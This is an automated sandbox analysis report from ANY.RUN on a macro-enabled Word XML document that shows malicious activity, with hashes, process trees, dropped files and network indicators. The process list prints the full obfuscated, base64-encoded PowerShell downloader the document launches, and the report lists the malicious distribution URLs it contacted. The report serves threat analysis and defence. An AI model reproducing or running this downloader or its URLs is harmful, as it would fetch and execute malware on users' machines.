analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
download:

FORM

Full analysis: https://app.any.run/tasks/1924e78d-79bb-46d9-b097-4af729a78f5b
Verdict: Malicious activity
Analysis date: February 11, 2019, 12:24:02
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/xml
File info: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
MD5:

98134D89FE236ED4D53F14BDBEA2026E

SHA1:

D6BEFEF8ACAF573E7CB2B92ABBB374A02F83837C

SHA256:

509407B3E175C723B7F7E42D297A4DF98CF1CE4CAF4B9A04D7BFDEEEA44EC367

SSDEEP:

6144:zBV3mPHiO7h2eHmDGv0vxuIMzSVIhl9EKRDqME4yanMjdn/NQVg+D3Do8oRtxQwH:SfiO70FDG8vxuI8SVIf51E4K14o8IuC

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2664)
    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2664)
  • SUSPICIOUS

    • Starts Microsoft Office Application

      • MSOXMLED.EXE (PID: 2980)
    • Creates files in the user directory

      • POwershell.exe (PID: 3920)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2664)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2664)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xml | Microsoft Office XML Flat File Format Word Document (ASCII) (65.1)
.xml | Microsoft Office XML Flat File Format (ASCII) (31)
.xml | Generic XML (ASCII) (2.3)
.html | HyperText Markup Language (1.4)

EXIF

XMP

WordDocumentBodySectSectPrDocGridLine-pitch: 360
WordDocumentBodySectSectPrColsSpace: 720
WordDocumentBodySectSectPrPgMarGutter: -
WordDocumentBodySectSectPrPgMarFooter: 720
WordDocumentBodySectSectPrPgMarHeader: 720
WordDocumentBodySectSectPrPgMarLeft: 1440
WordDocumentBodySectSectPrPgMarBottom: 1440
WordDocumentBodySectSectPrPgMarRight: 1440
WordDocumentBodySectSectPrPgMarTop: 1440
WordDocumentBodySectSectPrPgSzH: 15840
WordDocumentBodySectSectPrPgSzW: 12240
WordDocumentBodySectSectPrRsidR: 005E6EE1
WordDocumentBodySectPRPictShapeImagedataTitle: -
WordDocumentBodySectPRPictShapeImagedataSrc: wordml://SFR1zh.OCS60j.FADw9io
WordDocumentBodySectPRPictShapeStyle: width:468pt;height:349.5pt;visibility:visible;mso-wrap-style:square
WordDocumentBodySectPRPictShapeType: #_x0000_t75
WordDocumentBodySectPRPictShapeSpid: _x0000_i1025
WordDocumentBodySectPRPictShapeId: Picture 1
WordDocumentBodySectPRPictBinData: (Binary data 366950 bytes, use -b option to extract)
WordDocumentBodySectPRPictBinDataName: wordml://SFR1zh.OCS60j.FADw9io
WordDocumentBodySectPRPictShapetypeLockAspectratio: t
WordDocumentBodySectPRPictShapetypeLockExt: edit
WordDocumentBodySectPRPictShapetypePathConnecttype: rect
WordDocumentBodySectPRPictShapetypePathGradientshapeok: t
WordDocumentBodySectPRPictShapetypePathExtrusionok: f
WordDocumentBodySectPRPictShapetypeFormulasFEqn: if lineDrawn pixelLineWidth 0
WordDocumentBodySectPRPictShapetypeStrokeJoinstyle: miter
WordDocumentBodySectPRPictShapetypeStroked: f
WordDocumentBodySectPRPictShapetypeFilled: f
WordDocumentBodySectPRPictShapetypePath: m@4@5l@4@11@9@11@9@5xe
WordDocumentBodySectPRPictShapetypePreferrelative: t
WordDocumentBodySectPRPictShapetypeSpt: 75
WordDocumentBodySectPRPictShapetypeCoordsize: 21600,21600
WordDocumentBodySectPRPictShapetypeId: _x0000_t75
WordDocumentBodySectPRRPrNoProof: -
WordDocumentBodySectPRRsidRPr: 005D7FC8
WordDocumentBodySectPRsidRDefault: 002716AD
WordDocumentBodySectPRsidR: 005E6EE1
WordDocumentDocPrRsidsRsidVal: 002716AD
WordDocumentDocPrRsidsRsidRootVal: 005E6EE1
WordDocumentDocPrCompatDontGrowAutofit: -
WordDocumentDocPrCompatUseAsianBreakRules: -
WordDocumentDocPrCompatWrapTextWithPunct: -
WordDocumentDocPrCompatSnapToGridInCell: -
WordDocumentDocPrCompatBreakWrappedTables: -
WordDocumentDocPrAlwaysShowPlaceholderTextVal: off
WordDocumentDocPrIgnoreMixedContentVal: off
WordDocumentDocPrSaveInvalidXMLVal: off
WordDocumentDocPrValidateAgainstSchema: -
WordDocumentDocPrPixelsPerInchVal: 120
WordDocumentDocPrOptimizeForBrowser: -
WordDocumentDocPrCharacterSpacingControlVal: DontCompress
WordDocumentDocPrPunctuationKerning: -
WordDocumentDocPrDefaultTabStopVal: 720
WordDocumentDocPrDoNotEmbedSystemFonts: -
WordDocumentDocPrRemovePersonalInformation: -
WordDocumentDocPrZoomPercent: 100
WordDocumentDocPrViewVal: print
WordDocumentShapeDefaultsShapelayoutIdmapData: 1
WordDocumentShapeDefaultsShapelayoutIdmapExt: edit
WordDocumentShapeDefaultsShapelayoutExt: edit
WordDocumentShapeDefaultsShapedefaultsSpidmax: 1026
WordDocumentShapeDefaultsShapedefaultsExt: edit
WordDocumentDocSuppDataBinData: (Binary data 84578 bytes, use -b option to extract)
WordDocumentDocSuppDataBinDataName: lDMVM8
WordDocumentStylesStyleRPrRFontsCs: Tahoma
WordDocumentStylesStyleRPrRFontsH-ansi: Tahoma
WordDocumentStylesStyleRPrRFontsAscii: Tahoma
WordDocumentStylesStyleRsidVal: 005A24B1
WordDocumentStylesStyleLinkVal: BalloonTextChar
WordDocumentStylesStyleBasedOnVal: Normal
WordDocumentStylesStyleTblPrTblCellMarRightType: dxa
WordDocumentStylesStyleTblPrTblCellMarRightW: 108
WordDocumentStylesStyleTblPrTblCellMarBottomType: dxa
WordDocumentStylesStyleTblPrTblCellMarBottomW: -
WordDocumentStylesStyleTblPrTblCellMarLeftType: dxa
WordDocumentStylesStyleTblPrTblCellMarLeftW: 108
WordDocumentStylesStyleTblPrTblCellMarTopType: dxa
WordDocumentStylesStyleTblPrTblCellMarTopW: -
WordDocumentStylesStyleTblPrTblIndType: dxa
WordDocumentStylesStyleTblPrTblIndW: -
WordDocumentStylesStyleUiNameVal: Table Normal
WordDocumentStylesStyleRPrLangBidi: AR-SA
WordDocumentStylesStyleRPrLangFareast: EN-US
WordDocumentStylesStyleRPrLangVal: EN-US
WordDocumentStylesStyleRPrSz-csVal: 22
WordDocumentStylesStyleRPrSzVal: 22
WordDocumentStylesStyleRPrFontVal: Calibri
WordDocumentStylesStylePPrSpacingLine-rule: auto
WordDocumentStylesStylePPrSpacingLine: 259
WordDocumentStylesStylePPrSpacingAfter: 160
WordDocumentStylesStyleNameVal: Normal
WordDocumentStylesStyleStyleId: Normal
WordDocumentStylesStyleDefault: on
WordDocumentStylesStyleType: paragraph
WordDocumentStylesLatentStylesLsdExceptionName: Normal
WordDocumentStylesLatentStylesLatentStyleCount: 375
WordDocumentStylesLatentStylesDefLockedState: off
WordDocumentStylesVersionOfBuiltInStylenamesVal: 7
WordDocumentFontsFontSigCsb-1: 00000000
WordDocumentFontsFontSigCsb-0: 000001FF
WordDocumentFontsFontSigUsb-3: 00000000
WordDocumentFontsFontSigUsb-2: 00000009
WordDocumentFontsFontSigUsb-1: C0007841
WordDocumentFontsFontSigUsb-0: E0002AFF
WordDocumentFontsFontPitchVal: variable
WordDocumentFontsFontFamilyVal: Roman
WordDocumentFontsFontCharsetVal: 00
WordDocumentFontsFontPanose-1Val: 02020603050405020304
WordDocumentFontsFontName: Times New Roman
WordDocumentFontsDefaultFontsCs: Times New Roman
WordDocumentFontsDefaultFontsH-ansi: Calibri
WordDocumentFontsDefaultFontsFareast: Calibri
WordDocumentFontsDefaultFontsAscii: Calibri
WordDocumentDocumentPropertiesVersion: 16
WordDocumentDocumentPropertiesCharactersWithSpaces: 1
WordDocumentDocumentPropertiesParagraphs: 1
WordDocumentDocumentPropertiesLines: 1
WordDocumentDocumentPropertiesCharacters: 1
WordDocumentDocumentPropertiesWords: -
WordDocumentDocumentPropertiesPages: 1
WordDocumentDocumentPropertiesLastSaved: 2019:02:11 08:13:00Z
WordDocumentDocumentPropertiesCreated: 2019:02:11 08:13:00Z
WordDocumentDocumentPropertiesTotalTime: -
WordDocumentDocumentPropertiesRevision: 1
WordDocumentIgnoreSubtreeVal: http://schemas.microsoft.com/office/word/2003/wordml/sp2
WordDocumentOcxPresent: no
WordDocumentEmbeddedObjPresent: no
WordDocumentMacrosPresent: yes
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
34
Monitored processes
3
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start msoxmled.exe no specs winword.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2980"C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE" /verb open "C:\Users\admin\AppData\Local\Temp\FORM.xml"C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
XML Editor
Exit code:
0
Version:
14.0.4750.1000
2664"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\FORM.xml"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEMSOXMLED.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3920POwershell -e JABMAEgAcwB6AFIAUgBBAD0AKAAnAHAAJwArACcAVABsAEIAbAAnACsAJwA3AFUAJwApADsAJABxAFAASwBDAGMAcgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB6ADIAaABNADAAZABSAGgAPQAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBtAGEAcwBrAC4AcwB0ACcAKwAnAHUAZAAnACsAJwBpACcAKwAnAG8AJwArACcALwBZACcAKwAnAGUAawBBADIAOAAyAHYAcgBYAHIAZABoACcAKwAnAFUAQABoACcAKwAnAHQAJwArACcAdABwACcAKwAnADoALwAvAGYAZQBuACcAKwAnAGkAYwBoAGsAYQAuAHIAdQAvAGcAeABiAFEANwAnACsAJwBlAE8AJwArACcAdQAnACsAJwBuAGYAJwArACcAZgAnACsAJwBKAEAAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8AJwArACcALwAnACsAJwAyACcAKwAnADAANgAnACsAJwAuACcAKwAnADEAJwArACcAOAAnACsAJwA5AC4ANgAnACsAJwA4AC4AJwArACcAMQA4ADQAJwArACcALwA4AG4AUQB5AGoAOABpAGYASwBtAFkAJwArACcAYwBAAGgAdAAnACsAJwB0AHAAOgAvAC8AdABoACcAKwAnAGEAbABlAHMALQAnACsAJwBsAGEAcwAuACcAKwAnAGMAZgBkACcAKwAnAHQALQAnACsAJwBmAGcAJwArACcAbQBtAC4AZgAnACsAJwByACcAKwAnAC8AYwBnAGkALQBiACcAKwAnAGkAbgAnACsAJwAvAG0AYQBHAFIAQQA4AGkAWQBnACcAKwAnAEQAJwArACcAQwAnACsAJwBQAE0AJwArACcARwBAAGgAdAB0ACcAKwAnAHAAJwArACcAOgAnACsAJwAvAC8AcAByAG8AJwArACcAcwBwACcAKwAnAGUAcgBpAHQAeQAtAHMAdAB1AGQAZQBuAHQALgBjAG8ALgAnACsAJwB1AGsAJwArACcALwAnACsAJwBtAGwAJwArACcAMgBOAFEAZgBmAG8ATQBtAHkASgAnACsAJwBzADYAJwArACcASgAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABkAFEASwA0AEcASwA1AEIAPQAoACcAQQAnACsAJwB6ACcAKwAnAGQAMQBIAHIAVgA5ACcAKQA7ACQAYwBQADMAawBQAG4ASAAzACAAPQAgACgAJwA0ADIAJwArACcAMgAnACkAOwAkAHoAcwAwAE8AUgBqADgAPQAoACcAaAAnACsAJwA1AGgAJwArACcAYgBUAHoAJwApADsAJABmADMAUgBzAHIAbwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYwBQADMAawBQAG4ASAAzACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBsAHQATgBPAGkAIABpAG4AIAAkAHoAMgBoAE0AMABkAFIAaAApAHsAdAByAHkAewAkAHEAUABLAEMAYwByAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFkAbAB0AE4ATwBpACwAIAAkAGYAMwBSAHMAcgBvACkAOwAkAEEAaAA0AFEAbgBKAD0AKAAnAFIAZAAnACsAJwBkAFQAUQA5ADYAJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZgAzAFIAcwByAG8AKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABmADMAUgBzAHIAbwA7ACQAZABpAEsAbwB3AG8APQAoACcAVABOAEYAJwArACcAUgBCAGoAUgBVACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJAB0ADQAVQBXAGkAUQBvADgAPQAoACcAdgBBAHAAMABPACcAKwAnAFcAdQAnACkAOwA= C:\Windows\System32\WindowsPowerShell\v1.0\POwershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 691
Read events
1 295
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
2664WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9C65.tmp.cvr
MD5:
SHA256:
2664WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\99FF2D73.FADw9io
MD5:
SHA256:
3920POwershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YA0JRYRDSXA8HD3ZZ3TC.temp
MD5:
SHA256:
2664WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:AEE8EB52CF9161511AC4766E037174F1
SHA256:1A841623A8558C18265943E17764228125003D5CC52A21CEF0CD27E268AA6CEE
3920POwershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19a762.TMPbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
3920POwershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2664WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$FORM.xmlpgc
MD5:0DD33E721B4F398AF31230DC39934B32
SHA256:2C5BAC60E43B108657BCCD0E228D299D55F68D73B3C59D47BDC1C73CE54C591B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3920
POwershell.exe
GET
404
206.189.68.184:80
http://206.189.68.184/8nQyj8ifKmYc
US
xml
345 b
suspicious
3920
POwershell.exe
GET
404
81.177.135.191:80
http://fenichka.ru/gxbQ7eOunffJ
RU
xml
345 b
malicious
3920
POwershell.exe
GET
404
195.208.1.102:80
http://mask.studio/YekA282vrXrdhU
RU
xml
345 b
malicious
3920
POwershell.exe
GET
404
77.104.133.170:80
http://prosperity-student.co.uk/ml2NQffoMmyJs6J
US
xml
345 b
unknown
3920
POwershell.exe
GET
404
193.70.45.202:80
http://thales-las.cfdt-fgmm.fr/cgi-bin/maGRA8iYgDCPMG
FR
xml
345 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3920
POwershell.exe
81.177.135.191:80
fenichka.ru
JSC RTComm.RU
RU
malicious
3920
POwershell.exe
195.208.1.102:80
mask.studio
Autonomous Non-commercial Organization Regional Network Information Center
RU
malicious
3920
POwershell.exe
206.189.68.184:80
US
suspicious
3920
POwershell.exe
193.70.45.202:80
thales-las.cfdt-fgmm.fr
OVH SAS
FR
malicious
3920
POwershell.exe
77.104.133.170:80
prosperity-student.co.uk
SoftLayer Technologies Inc.
US
unknown

DNS requests

Domain
IP
Reputation
mask.studio
  • 195.208.1.102
malicious
fenichka.ru
  • 81.177.135.191
malicious
thales-las.cfdt-fgmm.fr
  • 193.70.45.202
malicious
prosperity-student.co.uk
  • 77.104.133.170
unknown

Threats

No threats detected
No debug info